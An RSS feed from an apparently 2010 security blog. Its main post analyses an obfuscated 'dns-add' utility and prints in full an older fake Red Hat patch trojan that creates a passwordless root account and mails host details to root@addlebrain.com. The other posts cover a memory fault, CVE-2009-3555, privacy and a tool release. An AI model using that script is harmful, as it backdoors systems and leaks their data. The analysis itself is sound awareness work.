<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Phocean.net &#187; Linux</title>
	<atom:link href="http://www.phocean.net/category/administration-systeme/linux/feed" rel="self" type="application/rss+xml" />
	<link>http://www.phocean.net</link>
	<description>Crusing for Knowledge, Drifting towards Security</description>
	<lastBuildDate>Thu, 02 Sep 2010 13:57:10 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Beware of source code (even from your favorite portal/forum/&#8230;)</title>
		<link>http://www.phocean.net/2010/04/24/beware-of-source-code-even-from-your-favorite-portalforum.html</link>
		<comments>http://www.phocean.net/2010/04/24/beware-of-source-code-even-from-your-favorite-portalforum.html#comments</comments>
		<pubDate>Sat, 24 Apr 2010 12:14:04 +0000</pubDate>
		<dc:creator>JC</dc:creator>
				<category><![CDATA[Admin]]></category>
		<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Malware forensics]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[openSUSE]]></category>
		<category><![CDATA[Bash]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[obfuscation]]></category>
		<category><![CDATA[RC4]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[shellcode]]></category>
		<category><![CDATA[social engineering]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=793</guid>
		<description><![CDATA[The other day I stumbed upon a weired piece of software on howtoforge.com : dns-add (code on sourceforge.net). Actually, the purpose of dns-add was very intriguing : update your DNS in one command ! The output should look like this: ...::: ISP-fW DNS add v1.0 :::... http://isp-fw.sourceforge.net/ --== copyleft 2005-2006 ==-- &#124; Free memory: 864 [...]]]></description>
			<content:encoded><![CDATA[<p>The other day I stumbed upon a weired piece of software on <a title="Howtoforge.com" href="http://howtoforge.com" target="_blank">howtoforge.com</a> : <a title="dns-add" href="http://www.howtoforge.com/adding-dns-servers-in-one-step-with-dns-add" target="_blank">dns-add</a> (code <a title="Sourceforge dns-add" href="http://sourceforge.net/projects/isp-fw/files/DNS-add/" target="_blank">on sourceforge.net</a>).</p>
<p>Actually, the purpose of dns-add was very intriguing : update your DNS in one command !</p>
<p>The output should look like this:</p>
<pre class="brush: plain;">...::: ISP-fW DNS add v1.0  :::... http://isp-fw.sourceforge.net/
--== copyleft 2005-2006 ==-- | Free memory:         864
contact isp.devel@gmail.com
You can add up to 9 DNS servers, enter a number from [0-9]: 2
Enter DNS1: 192.168.157.193
Enter DNS2: 192.168.157.251
Done adding 2 DNS!
DNS 192.168.157.193 responded in 0.256 ms
DNS 192.168.157.251 responded in 0.112 ms</pre>
<p>Who would need it these days where all distros include tools and script to update the DNS with DHCP. At worst, it is just a matter of opening an editor to add two lines in /etc/resolv.conf. Done in 10 seconds.</p>
<p>To enjoy dns-add, we are supposed to compile the source code. Let&#8217;s have a look at it first.</p>
<p>It gets quickly obvious that there could be something nasty. The code is clearly obfuscated, to make it difficult to read:</p>
<ul>
<li>not much commented,</li>
<li>a bunch of strange variables like &#8220;\026\243\314\376\220\366\154\166\346\334\005\116\360\114\015\231&#8243;. Could be the real code, hidden,</li>
<li>None of the visible stuff seems to do anything on the DNS.</li>
</ul>
<p>So now, let&#8217;s try to find out what&#8217;s behind all that. As we have the source code, the idea is to understand what the code is doing, so that we can write a snippet at the right place to just read the deciphered and potentially malicious code. That&#8217;s the easiest way, no need to disassembly and do memory forensic.</p>
<p>A good practice is to look for some pieces of code on the web, as developpers are lazy and often reuse already existing code. Doing that, you can save a lot of time.</p>
<p>Bingo ! There is a code almost entirely identical <a title="RedHat update malware" href="http://packetstormsecurity.nl/0410-advisories/FakeRedhatPatchAnalysis.txt" target="_blank">there</a>.<br />
We learn that the code, as old as 6 years old, actually hid a shell trojan instead of beeing a Red Hat update as claimed.</p>
<p>There is clearly a risk, so we must check what the code of dns-add contains. Here more hints help us again about the encoding used : some comments and a function name mention RC4 (or ARC4).</p>
<p>So let&#8217;s see how RC4 works and compare it with its possible implementation in dns-add.<br />
Rougly, RC4 is just an improved XOR whith the help of a lot of keys permutations. I found a clear and short description <a title="RC4" href="http://www.frontiernet.net/~fys/cypher.htm" target="_blank">there</a> :</p>
<blockquote><p>RC4 has two phases: key setup and ciphering.</p>
<p>The key setup phase is only done once per message and starts by initializing the entire state array so that the first state element is zero, the second is one, the third is two, and so on.</p>
<p>The state array is then subjected to 256 mixing operations using a loop that steps i through the values from zero to 255.</p>
<p>Each mixing operation consists of two steps:<br />
Add to the variable j the contents of the ith element of the state array and the nth element of the key, where n is equal to i modulo the length of the key.  (remember, the key here means the 10 byte IV at the front of the file, (or the one your program creates, if encoding), and the given key on the command line. (Key+IV)<br />
Swap the ith and jth elements of the state array.</p>
<p>After the entire mixing loop is completed, i and j are set to zero.</p>
<p>During the ciphering operation, the following steps are performed for each byte of the message:</p>
<p>The variable i is incremented by one<br />
The contents of the ith element of &#8216;State&#8217; is then added to j<br />
The ith and jth elements of &#8216;State&#8217; are swapped and their contents are added together to form a new value n.<br />
The nth element of &#8216;State&#8217; is then combined with the message byte, using a bit by bit exclusive-or operation (XOR), to form the output byte.<br />
The same ciphering steps are performed for encryption and for decryption.</p></blockquote>
<p><strong><em>void key(void * str, int len)</em></strong> for setting the key setup phase and <strong><em>void arc4(void * str, int len, char *hint)</em></strong> for the deciphering phase do exactly what&#8217;s described above.</p>
<p>They are called by <em><strong>char * xsh(int argc, char ** argv)</strong></em>, which we are going to look at carefully now.</p>
<p>This function succevely setup all keys and decipher all the hardcoded vars. Note that a function, <strong><em>chkenv,</em></strong> setup a variable in the environment, based on the PID (and other tricks). It is not useful in the present case, but it could be developped further and used for example to avoid over-infections.</p>
<p>What&#8217;s interesting is actually the bottom of the function, where the guy actually builds the shellcode, putting alltogether the pieces of deciphered code.</p>
<pre class="brush: cpp;">
j = 0;
varg[j++] = argv[0];		/* My own name at execution */
if (ret &amp;&amp; *opts)
	varg[j++] = opts;	/* Options on 1st line of code */
if (*inlo)
	varg[j++] = inlo;	/* Option introducing inline code */
varg[j++] = scrpt;		/* The script itself */
if (*lsto)
	varg[j++] = lsto;	/* Option meaning last option */
i = (ret &gt; 1) ? ret : 0;	/* Args numbering correction */
while (i &lt; argc)
	varg[j++] = argv[i++];	/* Main run-time arguments */
varg[j] = 0;			/* NULL terminated array */</pre>
<p>Then, it is launched with execvp:</p>
<pre class="brush: cpp;">
#if DEBUGEXEC
debugexec(shll, j, varg);
#endif
execvp(shll, varg);
return shll;
</pre>
<p><strong>Before testing further, it is safer to comment out the execvp line.</strong></p>
<p>Now, we just need to retrieve the shellcode, so we just add this lazy piece of code (to insert right before #if DEBUGEXEC):</p>
<pre class="brush: cpp;">
FILE *fout;
char **tmp;
tmp = varg;
fout = fopen (&quot;dns-test&quot;,&quot;w&quot;);
do {
  fprintf (fout, *tmp);
}
while (*tmp++ != NULL);
fclose (fout);</pre>
<p>Here we go :</p>
<pre class="brush: bash;">
$ ./dns-add
$ cat shellcode
./dns-add-c           &lt;blank chars skipped&gt;                    #!/bin/bash

dnsfile=&quot;/etc/resolv.conf&quot;
failed='\e[1;31m'failed'\e[0m'
ok='\e[1;34m'ok'\e[0m'

function dns_add(){
mv -f $dnsfile $dnsfile.back
for (( i=1; i &lt;= $dns_nr; i++ )) do
    echo -n &quot;Enter DNS${i}: &quot;
    read dns;
    echo &quot;nameserver $dns&quot; &gt;&gt; $dnsfile;
done
echo &quot;Done adding $dns_nr DNS!&quot;
echo
for i in `cat $dnsfile | cut -d &quot; &quot; -f 2`; do
    if [ `ping -c 1 $i | grep -c &quot;100%&quot;` -eq 1 ]; then
            echo -e &quot;DNS $i $failed to respond =&gt; request timeout <img src='http://www.phocean.net/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' />  &quot;
    else
        echo -ne &quot;DNS $i responded in &quot;;
        ping -c 1 $i | grep icmp_seq | cut -d &quot;=&quot; -f 4;
    fi
done
}

clear
echo -e &quot;...::: ISP-fW DNS add v1.0  :::...&quot;&quot;\e[1m\e[36;40m&quot; &quot;http://isp-fw.sourceforge.net/\e[0m &quot;;
echo -e &quot;--== copyleft 2005-2006 ==-- | Free memory: $(free -m|grep cache:|cut -d &quot;:&quot; -f2|cut -c12-22)&quot;;
echo &quot;contact isp.devel@gmail.com&quot;
echo
echo -n &quot;You can add up to 9 DNS servers, enter a number from [0-9]: &quot;;
read dns_nr;

case $dns_nr in
  [0-9]         ) dns_add;;
  [[:lower:]]   ) echo &quot;$dns_nr is not a number!&quot;;;
  [[:upper:]]   ) echo &quot;$dns_nr is not a number!&quot;;;
  *             ) echo &quot;$dns_nr is not a number!&quot;;;
esac
./dns-add</pre>
<p>That&#8217;s it. A big C file just for this lame shell script. The good news is that it does what it says. There is no malicious purpose, for now, it&#8217;s nothing else than a (bad) joke.</p>
<p>In the case of the original malware, it was more harmfull :</p>
<pre class="brush: bash;">#!/bin/sh
cd /tmp/
clear
if [ `id -u` != &quot;0&quot; ]
then
        echo &quot;This patch must be applied as \&quot;root\&quot;, and you are: \&quot;`whoami`\&quot;&quot;
        exit
fi
echo &quot;Identifying the system. This may take up to 2 minutes. Please wait ...&quot;
sleep 3
if [ ! -d /tmp/.&quot; &quot;/.&quot; &quot;/.&quot; &quot;/.&quot; &quot;/.&quot; &quot;/.&quot; &quot;/.&quot; &quot;/.&quot; &quot;/.&quot; &quot; ]; then
 echo &quot;Inca un root frate belea: &quot; &gt;&gt; /tmp/mama
 adduser -g 0 -u 0 -o bash &gt;&gt; /tmp/mama
 passwd -d bash &gt;&gt; /tmp/mama
 ifconfig &gt;&gt; /tmp/mama
 uname -a &gt;&gt; /tmp/mama
 uptime &gt;&gt; /tmp/mama
 sshd &gt;&gt; /tmp/mama
 echo &quot;user bash stii tu&quot; &gt;&gt; /tmp/mama
 cat /tmp/mama | mail -s &quot;Inca o roata&quot; root@addlebrain.com &gt;&gt; /dev/null
 rm -rf /tmp/mama
 mkdir -p /tmp/.&quot; &quot;/.&quot; &quot;/.&quot; &quot;/.&quot; &quot;/.&quot; &quot;/.&quot; &quot;/.&quot; &quot;/.&quot; &quot;/.&quot; &quot;
fi

bla()
{
  sleep 2
  echo -n &quot;#&quot;
  sleep 1
  echo -n &quot;#&quot;
  sleep 1
  echo -n &quot;#&quot;
  sleep 2
  echo -n &quot;#&quot;
  sleep 1
  echo -n &quot;#&quot;
  sleep 1
  echo -n &quot;#&quot;
  sleep 3
  echo -n &quot;#&quot;
  sleep 1
  echo -n &quot;#&quot;
  sleep 4
  echo -n &quot;#&quot;
  sleep 1
  echo -n &quot;#&quot;
  sleep 1
  echo &quot;#&quot;
  sleep 1
}

echo &quot;System looks OK. Proceeding to next step.&quot;
sleep 1
echo
echo -n &quot;Patching \&quot;ls\&quot;: &quot;
bla
echo -n &quot;Patching \&quot;mkdir\&quot;: &quot;
bla
echo
echo &quot;System updated and secured successfuly. You may erase these files.&quot;
sleep 1
./badexec 'exec '%s' &quot;$@&quot;' &quot;$@&quot;</pre>
<p>Technically, at the end, it is rather basic. However, it is successful in the way that it hides its purpose to most people.<br />
What&#8217;s not clear yet is the poster purpose. Fun ? Any other weired feeling ? Or just testing the capacity of the community to detect maliscious software ? If so, was he just curious or does he have any future plan ?<br />
Maybe I should ask him.</p>
<p>Anyway, how many people opened and read the code ? Especially on a community driven website where people tend to have a dangerous feeling of trust and safety : it can&#8217;t be malicious, the author offers the source code and nicely shares his work, right ?<br />
And among the few people who checked the code, who really understood it ? Not everyone is an IT specialist. And even among them, not everyone is a developper or can read C.</p>
<p>It highlights well several things :</p>
<ul>
<li><strong>social engineering is multi-platform ! </strong>We are often more vulnerable than our systems. Linux user or not.</li>
<li><strong>software published with the source code doesn&#8217;t mean safe software</strong>.</li>
</ul>
<p>As much as possible, download software exclusively from the official repositories of your favorite distribution (openSUSE <img src='http://www.phocean.net/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> ).<br />
If you really have to use code from an untrusted source, check it, or wait for the right people to do it! Don&#8217;t just grab any code, compile it and execute it blindly.</p>
<p>At the same time as open-source software grows, we, users, and also websites like Sourceforge will have to be more carefull about the content we download.</p>
<p><strong><span style="color: #ff0000;"><em><span style="color: #ff0000;">* Update *</span></em></span></strong></p>
<p><em><span style="color: #993300;">I did contact the author and didn&#8217;t get any answer.<br />
I reported the issue to Sourceforge, which deleted the account hosting dns-add, as it violated the website policies.</span></em></p>
<p><em><span style="color: #993300;">You can download the source code </span></em><a href="http://www.phocean.net/wp-content/uploads/2010/04/dns-add.tar.gz"><em><span style="color: #0000ff;">dns-add.tar.gz</span></em></a><em><span style="color: #993300;"> if you want to analyse it.</span></em></p>
]]></content:encoded>
			<wfw:commentRss>http://www.phocean.net/2010/04/24/beware-of-source-code-even-from-your-favorite-portalforum.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Downtimes: a hardware problem</title>
		<link>http://www.phocean.net/2010/04/07/downtimes-a-hardware-problem.html</link>
		<comments>http://www.phocean.net/2010/04/07/downtimes-a-hardware-problem.html#comments</comments>
		<pubDate>Wed, 07 Apr 2010 18:07:24 +0000</pubDate>
		<dc:creator>JC</dc:creator>
				<category><![CDATA[Admin]]></category>
		<category><![CDATA[Hardware]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[System]]></category>
		<category><![CDATA[openSUSE]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=784</guid>
		<description><![CDATA[You may have noticed that the site had a lot of downtimes recently. I was having a daily kernel panic and weired file system corruptions, which I first tought were coming from the successive crashes and reboots. However, while it happened again and again and I could not find any good reason for that, I [...]]]></description>
			<content:encoded><![CDATA[<p>You may have noticed that the site had a lot of downtimes recently.</p>
<p>I was having a daily kernel panic and weired file system corruptions, which I first tought were coming from the successive crashes and reboots.</p>
<p>However, while it happened again and again and I could not find any good reason for that, I became more doubtful about my hardware and finally found the culprit.<br />
I booted on Memtest, installed with zypper from the repo, which immediately displayed a lot of errors. The tedious task of isolating the faulty memory module revealed that it was one from a Ballistix bundle that I bought just 3 months ago.</p>
<p>I usually use Kingston or Corsair and never had such a problem, but maybe I was just lucky. I will test now the customer service of Ballistix.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.phocean.net/2010/04/07/downtimes-a-hardware-problem.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Updates on OpenSSL CVE-2009-3555 (client renegociation)</title>
		<link>http://www.phocean.net/2010/04/05/updates-about-openssl-cve-2009-3555-client-renegociation.html</link>
		<comments>http://www.phocean.net/2010/04/05/updates-about-openssl-cve-2009-3555-client-renegociation.html#comments</comments>
		<pubDate>Mon, 05 Apr 2010 08:40:44 +0000</pubDate>
		<dc:creator>JC</dc:creator>
				<category><![CDATA[Admin]]></category>
		<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[System]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[openSUSE]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[certificate]]></category>
		<category><![CDATA[chrome]]></category>
		<category><![CDATA[CVE-2009-3555]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[mod-ssl]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=773</guid>
		<description><![CDATA[So there are some news from the front of OpenSSL CVE-2009-3555 (see this and this for the history). Now the latest version of Apache mod_ssl (2.2) embeds an option to reactivate old way client renegociation : SSLInsecureRenegotiation on Check the official doc for more details. With this option activated, you can now safely upgrade openSSL [...]]]></description>
			<content:encoded><![CDATA[<p>So there are some news from the front of OpenSSL CVE-2009-3555 (see <a title="SSL client authenticate breakage" href="http://www.phocean.net/2009/11/28/openssl-cve-2009-3555-security-fix-and-mod_ssl-client-authentication-breakage.html" target="_self">this</a> and <a title="SSL/TLS RFC updated against CVE-2009-3555" href="http://www.phocean.net/2010/01/09/ssltls-rfc-updated-against-cve-2009-3555.html" target="_self">this</a> for the history).</p>
<p>Now the latest version of Apache mod_ssl (2.2) embeds an <a title="mod_ssl client renegociation" href="http://httpd.apache.org/docs/2.2/mod/mod_ssl.html#sslinsecurerenegotiation" target="_blank">option to reactivate old way client renegociation</a> :</p>
<pre class="brush: plain;">SSLInsecureRenegotiation on</pre>
<p>Check the official doc for more details. With this option activated, you can now safely upgrade openSSL and mod_ssl without breaking your clients. They should have done it from the begining, shouldn&#8217;t they ?</p>
<p>The next step will be to move on to the new protocol definitely, to solve for good the CVE-2009-3555 vulnerability. For that we have to wait for the browsers to support it.</p>
<p>Firefox has started to <a title="Firefox and CVE-2009-3555" href="https://wiki.mozilla.org/Security:Renegotiation" target="_blank">work seriously on it</a> and we can expect some support in the next releases (some settings will be possible through about:config).</p>
<p>They even created a <a title="CVE-2009-3555 test page" href="https://ssltls.de/" target="_blank">test site</a>. This screenshot was taken from Google Chrome (5.0.366.2, <a title="openSUSE repos" href="http://en.opensuse.org/Additional_package_repositories" target="_blank">openSUSE repo</a>) which already has support for the SSL protocol :</p>
<p style="text-align: center;"><a href="http://www.phocean.net/wp-content/uploads/2010/04/chrome-ssl.png"><img class="aligncenter size-full wp-image-776" title="chrome-ssl" src="http://www.phocean.net/wp-content/uploads/2010/04/chrome-ssl.png" alt="" width="455" height="473" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.phocean.net/2010/04/05/updates-about-openssl-cve-2009-3555-client-renegociation.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Deleteyouraccount.com to easily get rid off social networking</title>
		<link>http://www.phocean.net/2010/04/04/deleteyouraccount-com-to-easily-get-rid-off-social-networking.html</link>
		<comments>http://www.phocean.net/2010/04/04/deleteyouraccount-com-to-easily-get-rid-off-social-networking.html#comments</comments>
		<pubDate>Sun, 04 Apr 2010 17:31:28 +0000</pubDate>
		<dc:creator>JC</dc:creator>
				<category><![CDATA[Privacy]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[openSUSE]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=761</guid>
		<description><![CDATA[Deleteyouraccount.com is a very convenient website if you consider deleting your account from one of these social networking sites that are everywhere now. Of course, they all do their best to make it difficult, trying to hide it and discourage you. Here Deleteyouraccount comes to help. I will still take a few days of thoughts, [...]]]></description>
			<content:encoded><![CDATA[<p><a title="Deleteyouraccount.com" href="http://deleteyouraccount.com/" target="_blank">Deleteyouraccount.com</a> is a very convenient website if you consider deleting your account from one of these social networking sites that are everywhere now. Of course, they all do their best to make it difficult, trying to hide it and discourage you. Here Deleteyouraccount comes to help.</p>
<p>I will still take a few days of thoughts, but I am seriously considering deleting my Linkedin account. I once got invited to it and got trapped.</p>
<p>My private data are certainly useful to Linkedin, but all this stuff has been totally useless to me so far. One of the things I really hate is that it tends to  increase the number of contacts artificially even though the relationship is not sincere.</p>
<p>I have a number of &#8220;contacts&#8221; that I barely know or keep in touch with, whereas I don&#8217;t need Linkedin to communicate with the people I truly appreciate.</p>
<p>Less social networking, more human reliationship, more freedom, more privacy : sounds good.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.phocean.net/2010/04/04/deleteyouraccount-com-to-easily-get-rid-off-social-networking.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>My new toy</title>
		<link>http://www.phocean.net/2010/03/16/my-new-tool.html</link>
		<comments>http://www.phocean.net/2010/03/16/my-new-tool.html#comments</comments>
		<pubDate>Tue, 16 Mar 2010 21:16:47 +0000</pubDate>
		<dc:creator>JC</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Off-topic]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[openSUSE]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=751</guid>
		<description><![CDATA[No, it is not a computer this time. And yes, it is off topic, but I wanted to thank a Japanese friend for his gift and, at the same time, promote his work : He owns a small company in Hokkaido producing a number of wood toys. He is an artist and designs them, which [...]]]></description>
			<content:encoded><![CDATA[<p>No, it is not a computer this time. And yes, it is off topic, but I wanted to thank a Japanese friend for his gift and, at the same time, promote his work :</p>
<p style="text-align: center;"><a href="http://www.phocean.net/wp-content/uploads/2010/03/P1020041-320x200.jpg"><img class="size-full wp-image-752  aligncenter" title="Milcar" src="http://www.phocean.net/wp-content/uploads/2010/03/P1020041-320x200.jpg" alt="" width="267" height="200" /></a></p>
<p>He owns a <a title="Milcar" href="http://www.milcar.jp/">small company</a> in Hokkaido producing a number of wood toys. He is an artist and designs them, which are all hand made and from the local wood.</p>
<p>In our industrial society, where all toys are made of plastic in chinese factories, it is refreshing to see such authentic and nice wood toys.</p>
<p>So think about it for your kids. His website is only in Japanese for now but if you are interested, drop an e-mail and my friend will certainly answer to you shortly (last link in the <a title="Milcar" href="http://www.milcar.jp/">menu page</a>).</p>
]]></content:encoded>
			<wfw:commentRss>http://www.phocean.net/2010/03/16/my-new-tool.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>So much noise from Google about the attacks in China !?</title>
		<link>http://www.phocean.net/2010/01/15/so-much-noise-from-google-about-the-attacks-in-china.html</link>
		<comments>http://www.phocean.net/2010/01/15/so-much-noise-from-google-about-the-attacks-in-china.html#comments</comments>
		<pubDate>Fri, 15 Jan 2010 08:42:41 +0000</pubDate>
		<dc:creator>JC</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[openSUSE]]></category>
		<category><![CDATA[0-day]]></category>
		<category><![CDATA[Attack]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Trojan]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=677</guid>
		<description><![CDATA[And Google is making so much noise about that ? If what is said is true, it nothing else but a trojan. A good one, but nothing new otherwise. I would also say that the most targeted company was Microsoft. After all, it was an Internet Explorer 0-days breach that was exploited. Once the computer [...]]]></description>
			<content:encoded><![CDATA[<p>And Google is making so much noise about <a title="Google vs China" href="http://www.wired.com/threatlevel/2010/01/operation-aurora/">that</a> ?</p>
<p>If what is said is true, it nothing else but a trojan. A good one, but nothing new otherwise.</p>
<p>I would also say that the most targeted company was Microsoft. After all, it was an Internet Explorer 0-days breach that was exploited. Once the computer was infected, I bet that the trojan was doing much more than just targeting Gmail. To maximise the chance of an attack to succeed, a good trojan comes with a bunch of functionalities and harvest as many things as possible on the computer. Thus I doubt the target was only Google.</p>
<p>As <a title="Ballmer about Google and China" href="http://www.osnews.com/comments/22738">Steve Ballmer</a> said (hey, I didn&#8217;t think I would ever quote him here ! <img src='http://www.phocean.net/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  ), it happens every day. And it must not be something new in a country like China. And suddenly, Google cares ? Whereas they quietly applied censorship in China until then ? I always become suspicious when a multinational company claims it cares about human rights to the detriment of its business.</p>
<p>Maybe Google is just really wanting to get out of China for some reason (not so popular there with the competition of <a title="Baidu" href="http://www.baidu.com/">Baidu</a>?) and is looking for an excuse. More details will certainly be coming so time will tell&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.phocean.net/2010/01/15/so-much-noise-from-google-about-the-attacks-in-china.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Privacy and Facebook</title>
		<link>http://www.phocean.net/2010/01/11/privacy-and-facebook.html</link>
		<comments>http://www.phocean.net/2010/01/11/privacy-and-facebook.html#comments</comments>
		<pubDate>Mon, 11 Jan 2010 09:51:42 +0000</pubDate>
		<dc:creator>JC</dc:creator>
				<category><![CDATA[Desktop]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[openSUSE]]></category>
		<category><![CDATA[Privacy]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=675</guid>
		<description><![CDATA[That is exactly why I have never used &#8211; and will never use &#8211; Facebook or anything like that.]]></description>
			<content:encoded><![CDATA[<p><a title="Facebook and privacy" href="http://www.readwriteweb.com/archives/facebooks_zuckerberg_says_the_age_of_privacy_is_ov.php?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed:+readwriteweb+%28ReadWriteWeb%29" target="_blank">That</a> is exactly why I have never used &#8211; and will never use &#8211; Facebook or anything like that.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.phocean.net/2010/01/11/privacy-and-facebook.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SSL/TLS RFC updated against CVE-2009-3555</title>
		<link>http://www.phocean.net/2010/01/09/ssltls-rfc-updated-against-cve-2009-3555.html</link>
		<comments>http://www.phocean.net/2010/01/09/ssltls-rfc-updated-against-cve-2009-3555.html#comments</comments>
		<pubDate>Sat, 09 Jan 2010 11:23:09 +0000</pubDate>
		<dc:creator>JC</dc:creator>
				<category><![CDATA[Admin]]></category>
		<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[System]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[openSUSE]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[IETF]]></category>
		<category><![CDATA[mod-ssl]]></category>
		<category><![CDATA[RFC]]></category>
		<category><![CDATA[SSL]]></category>
		<category><![CDATA[TLS]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=673</guid>
		<description><![CDATA[A solution has been finally brought up to fix CVE-2009-3555 and the temporary solution that broke client authentication. At least, the IETF agreed on a fix as Marsh Ray informs us, though it will still take some weeks for the whole validation process to complete. Moreover, as it requires both the servers and the clients [...]]]></description>
			<content:encoded><![CDATA[<p>A solution has been finally brought up to fix<a href="http://www.phocean.net/2009/11/28/openssl-cve-2009-3555-security-fix-and-mod_ssl-client-authentication-breakage.html"> CVE-2009-3555 and the temporary solution that broke client authentication</a>.</p>
<p>At least, the IETF agreed on a fix as <a title="SSL/TLS fix" href="http://extendedsubset.com/?p=14" target="_blank">Marsh Ray</a> informs us, though it will still take some weeks for the whole validation process to complete.</p>
<p>Moreover, as it requires both the servers and the clients to be patched, it will take months before the patches can be applied and one can have a working client authentification architecture. The longest will be the client side, of course, so I feel sorry for those who have a large park to manage.</p>
<p>As far as I am concerned, fortunately, I will just have a few browsers that I manage directly to update. Anyway, still more patience is needed !</p>
]]></content:encoded>
			<wfw:commentRss>http://www.phocean.net/2010/01/09/ssltls-rfc-updated-against-cve-2009-3555.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Netios 0.71</title>
		<link>http://www.phocean.net/2009/12/20/netios-0-71.html</link>
		<comments>http://www.phocean.net/2009/12/20/netios-0-71.html#comments</comments>
		<pubDate>Sun, 20 Dec 2009 16:34:37 +0000</pubDate>
		<dc:creator>JC</dc:creator>
				<category><![CDATA[Admin]]></category>
		<category><![CDATA[Cisco]]></category>
		<category><![CDATA[Defense]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Network]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[Scripts, Programs]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[System]]></category>
		<category><![CDATA[ios]]></category>
		<category><![CDATA[netios]]></category>
		<category><![CDATA[password]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=578</guid>
		<description><![CDATA[I release a new version of Netios : 0.71. There are a lot of changes, starting with cosmetics, but the biggest one is the support of multiprocessing. It is now able to process several routers at the same time, so using it on a large list of machines results in a big speed up. A [...]]]></description>
			<content:encoded><![CDATA[<p>I release a new version of Netios : 0.71.</p>
<p>There are a lot of changes, starting with cosmetics, but the biggest one is the support of multiprocessing.</p>
<p>It is now able to process several routers at the same time, so using it on a large list of machines results in a big speed up.</p>
<p>A downside is that it now requires at least Python 2.6, as multiprocessing started to be supported with this version only. Most Linux distributions now include Python 2.6, but still not all. Anyway it will be more and more the case. If you can&#8217;t uprade your distribution, you can stick with 0.60 which still do most of the work fine.</p>
<p>It is also now able to fetch a configuration file remotly, but it requires more testing before I feel confident in the way it works.</p>
<p>The complete changelog :</p>
<blockquote><p>2009-12-20  (0.71) Jean-Christophe Baptiste <jc@phocean.net>;</p>
<p>* ciscoclass.py : handle correctly the cisco pager &#8212; More &#8212; so that &#8220;show run&#8221; mode should work even with large config files<br />
* sshclass.py : allow to override terminal size system settings (make use of the cisco pager to avoid filling the buffer)</p>
<p>2009-11-16  (0.70) Jean-Christophe Baptiste <jc@phocean.net> (private release)</p>
<p>* implement multiprocessing<br />
* improve code documentation<br />
* clean up UI<br />
* reduce useless logging<br />
* netios.py : bug : missing startTime parameter in f_skip_error and f_command functions</p></blockquote>
<p>I cross my fingers so that there are not too many bugs, but if so, please don&#8217;t forget to report it to me.</p>
<p><a title="Netios" href="http://www.phocean.net/tools/netios">Check there</a> (tools page) for more details and a download link.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.phocean.net/2009/12/20/netios-0-71.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ModSecurity 2.5 review</title>
